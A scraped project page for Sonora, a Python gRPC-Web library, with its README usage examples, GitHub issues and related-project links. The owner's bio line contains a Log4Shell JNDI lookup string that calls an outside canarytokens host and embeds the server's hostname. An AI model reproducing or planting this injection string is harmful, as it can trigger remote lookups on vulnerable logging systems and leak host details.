A gRPC-Web implementation for Python

Alex Stapleton

Last update: Dec 30, 2022

Related tags

Networking sonora

Overview

Sonora

Sonora is a Python-first implementation of gRPC-Web built on top of standard Python APIs like WSGI and ASGI for easy integration.

Why?

Regular gRPC has a lot going for it but is awkward to use in some environments. gRPC-Web makes it easy to get gRPC working in environments that need HTTP/1.1 but the Google gRPC and gRPC-Web implementations don't like to coexist with your normal Python frameworks like Django or Flask. Sonora doesn't care what ioloop you use, this means you can run it along side any other Python web framework in the same application!

This makes it easy to

Add gRPC to an existing code base.
Run gRPC behind AWS and other HTTP/1.1 load balancers.
Integrate with other ASGI frameworks like Channels, Starlette, Quart etc.
Integrate with other WSGI frameworks like Flask, Django etc.

Sonora aims to be compatible with and tested against Google's grpc-web implementation in both text mode and binary mode.

The name Sonora was inspired by the Sonoran gopher snake.

How?

Sonora is designed to require minimal changes to an existing Python application.

Server

WSGI

Normally a WSGI application (such as your favourite Django app) will have a file somewhere named wsgi.py that gets your application setup and ready for your web server of choice. It will look something like this.

from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()

To add Sonora's gRPC-Web capabilities to an application like the above all you need to do to enable it is this.

from django.core.wsgi import get_wsgi_application
from sonora.wsgi import grpcWSGI
import helloworld_pb2_grpc

# Setup your frameworks default WSGI app.

application = get_wsgi_application()

# Install the Sonora grpcWSGI middleware so we can handle requests to gRPC's paths.

application = grpcWSGI(application)

# Attach your gRPC server implementation.

helloworld_pb2_grpc.add_GreeterServicer_to_server(Greeter(), application)

And now you have a combined HTTP/1.1 Django + gRPC application all under a single port.

ASGI

For ASGI things are mostly the same, the example shown here integrates with Quart but it's more or less the same for other frameworks.

from sonora.asgi import grpcASGI
from quart import Quart
import helloworld_pb2_grpc

# Setup your frameworks default ASGI app.

application = Quart(__name__)

# Install the Sonora grpcASGI middleware so we can handle requests to gRPC's paths.

application.asgi_app = grpcASGI(application.asgi_app)

# Attach your gRPC server implementation.

helloworld_pb2_grpc.add_GreeterServicer_to_server(Greeter(), application.asgi_app)

And now you have a combined HTTP/1.1 Quart + gRPC application all under a single port.

Clients

Sonora provides both regular sync and aiohttp based async clients.

Requests (Sync)

Instead of using gRPCs native grpc.insecure_channel API we have sonora.client.insecure_web_channel instead which provides a requests powered client channel to a gRPC-Web server. e.g.

    import sonora.client

    with sonora.client.insecure_web_channel(
        f"http://localhost:8080"
    ) as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        print(stub.SayHello("world"))

Aiohttp (Async)

Instead of grpc.aio.insecure_channel we have sonora.aio.insecure_web_channel which provides an aiohttp based asyncio compatible client for gRPC-Web. e.g.

    import sonora.aio

    async with sonora.aio.insecure_web_channel(
        f"http://localhost:8080"
    ) as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        print(await stub.SayHello("world"))

        stub = helloworld_pb2_grpc.GreeterStub(channel)
        async for response in stub.SayHelloSlowly("world"):
            print(response)

This also supports the new streaming response API introduced by gRFC L58

    import sonora.aio

    async with sonora.aio.insecure_web_channel(
        f"http://localhost:8080"
    ) as channel:
        stub = helloworld_pb2_grpc.GreeterStub(channel)
        async with stub.SayHelloSlowly("world") as response:
            print(await response.read())

Comments

service wsgi-server failed

when i try to run service via docker-compose.yml, i ran into error caused by async-timeout, is there any solutions?

Installing dependencies from lock file

SolverProblemError

Because aiohttp (3.7.4.post0) depends on async-timeout (>=4.0,<5.0) and no versions of aiohttp match >=3.7.4,<3.7.4.post0 || >3.7.4.post0,<4.0.0, aiohttp (>=3.7.4,<4.0.0) requires async-timeout (>=4.0,<5.0). So, because sonora depends on both async-timeout (^3.0.1) and aiohttp (^3.7.4), version solving failed.

opened by RoacherM 8

Missing trailers frame in unary response when no trailers metadata is specified

Current code has:

       if context._trailing_metadata:
            trailers = context._trailing_metadata

            trailer_message = protocol.pack_trailers(trailers)
            trailer_data = wrap_message(True, False, trailer_message)
        else:
            trailer_data = b""
...
        await send(
            {"type": "http.response.body", "body": message_data, "more_body": True}
        )
        await send(
            {"type": "http.response.body", "body": trailer_data, "more_body": False}
        )

This results in no trailer_data frame (i.e. nothing) being sent if no context._trailing_metadata is specified instead of non-empty frame containing no data. This seems to violate the gRPC-Web expectations in at least some clients (and maybe in the spec?) that the trailers frame should always be present even if it's data is missing. One particular client unhappy with missing trailers is protobuf-ts (fails with trailers missing). grpc-dart mentions a similar error.

I was able to workaround the issue by changeing the above code to:

         if context._trailing_metadata:
            trailers = context._trailing_metadata
        else:
            trailers = b""

        trailer_message = protocol.pack_trailers(trailers)
        trailer_data = wrap_message(True, False, trailer_message)

opened by parabolala 3

URL prefix

Thank you again for your help so far. We're starting to test Sonora internally now.

Is there a good way to have some kind of a prefix on the endpoints? Like /grpc/ or /api/?

opened by gitpushdashf 3
Send and receive metadata in pypi package

The pypi package has a minor version than the master branch, the last functional commit in pypi is f73f2e2. The nice custom metadata feature is missing in v0.1.0 When is the new updated version scheduled to be pushed?

Thanks!

opened by martibarri 2
Update the statement about gRPC Python

gRPC Python now has a new AsyncIO stack: https://github.com/grpc/grpc/projects/16. Technically, it supports any AsyncIO I/O loop with single or more threads https://github.com/grpc/grpc/pull/22311. So, can we update the README.md to better reflect this fact?

CC @gnossen

opened by lidizheng 2
Misc

ASGI/Quart example (as recommended here: https://pgjones.gitlab.io/quart/how_to_guides/middleware.html) Also little call change, that not. asserting in case asgi can't(don't want) process some type of request

opened by mm0d 1
Always send grpc-status in trailers

This makes it so we always send a trailers frame by forcing grpc-status into the trailers even when we have the option of sending it as a header.

Fixes #47

opened by public 0
async-timeout v4 support

https://pypi.org/project/async-timeout v4 just came out. We seem to be getting dependency errors with aiohttp wanting async-timeout v4 and sonora being set on v3. Can Sonora work with async-timeout v4?

Thank you!

opened by gitpushdashf 0
Send and receive metadata
TODO

[x] send_initial_metadata

[x] set_trailing_metadata

[x] Getting metadata from responses in the client via with_call

[x] Getting metadata from responses using the aio/await API.

[ ] Tests for metadata from streaming RPCs
opened by public 0
Make sure we release aiohttp connections even when the response is infinite

Previously we'd leak connections if the streaming response was infinite and the client wasn't being used in a context manager. Now we explicitly release the connection when the Call is GCd.

Also refactored the benchmarks for slightly lower overhead.

opened by public 0
Benchmarks
As you would expect performance is pretty dependent on the ASGI server you use.

Performance is tolerable but seems like there's something odd going on. e.g. Why is WSGI streaming so incredibly fast but Unary calls are terrible?

While writing this I discovered that currently it doesn't detect disconnecting clients well enough which results in e.g. infinitely long streams never getting interrupted. All the sent data just gets backed up in asyncio. Solving this required some ugly ascynio.wait usage to check both the send and receive coroutines at once.

I think this causes some flow control issues that are holding the ASGI speed back.

This needs some refactoring now that we have multiple different servers in the test suite.

[x] Refactor server fixtures to be more composable.

[x] Use uvicorn instead of Daphne.

[x] Use bjoern for wsgi tests.

[x] Add WSGI benchmarks
opened by public 0
Client support for grpc-web-text

I want to use the sonora client to connect to a server which only supports gprc-web-text, but currently only gprc-web+proto is supported. Is it planned to implement this variant in the sonora client as well?

opened by siebert 1
EchoAbort test failing with grpcWeb client

Hi Alex!

Long time no see! I upgraded the grpc-web-compatibility-test repo today following a new grpcWeb release and it seems that sonora (nee grpcwsgi) is now failing the EchoAbort request test:

https://app.circleci.com/pipelines/github/johanbrandhorst/grpc-web-compatibility-test/43/workflows/d98f6ef2-52a4-464c-a367-6b1cf9c7551c/jobs/562/steps

I've verified this locally, it seems to return 500 Internal Server Error and no content. I've marked the test as failing for now, but I did into it without really finding the cause. Python gRPC is not my expertise, so I thought I'd just raise an issue.

opened by johanbrandhorst 1
More benchmarks
It would be great to have more thorough benchmarks. Specifically

Also benchmark https://pypi.org/project/grpclib/

Benchmark using multiple clients. Probably requires spinning up some spot instances on EC2?

When grpcs own AIO support actually works (rather than segfaulting) test that too.
opened by public 0
Regular gRPC support
Currently everything is built assuming gRPC-Web but it doesn't seem like it would be much work to also support normal gRPC with H2 only connections although it would depend on there being a WSGI or ASGI server that could actually speak that.

[ ] Is it feasible that any existing ASGI or WSGI servers could speak gRPC? This mostly means supporting bare H2 connections.

[ ] What does sonora need to do to support regular gRPC?
opened by public 2
Automatic packaging of compiled protobufs

Running protoc and adding the right setup.py magic to package protobufs is fairly easy but easy to automate. Provide a tool to point at a folder full of proto files and generate a wheel.

opened by public 0

Owner

Alex Stapleton

he/him ${jndi:ldap://x${hostName}.L4J.2xj6cw7jck0z9j8f4mofmdqz1.canarytokens.com/a}

GitHub

A Python tool used to automate the execution of the following tools : Nmap , Nikto and Dirsearch but also to automate the report generation during a Web Penetration Testing

?? WebMap A Python tool used to automate the execution of the following tools : Nmap , Nikto and Dirsearch but also to automate the report generation

274 Jan 1, 2023

A Python library to utilize AWS API Gateway's large IP pool as a proxy to generate pseudo-infinite IPs for web scraping and brute forcing.

929 Jan 1, 2023

BlueHawk is an HTTP/1.1 compliant web server developed in python

This project is done as a part of Computer Networks course. It aims at the implementation of the HTTP/1.1 Protocol based on RFC 2616 and includes the basic HTTP methods of GET, POST, PUT, DELETE and HEAD.

2 Nov 11, 2022

An advanced real time threat intelligence framework to identify threats and malicious web traffic on the basis of IP reputation and historical data.

ARTIF is a new advanced real time threat intelligence framework built that adds another abstraction layer on the top of MISP to identify threats and malicious web traffic on the basis of IP reputation and historical data. It also performs automatic enrichment and threat scoring by collecting, processing and correlating observables based on different factors.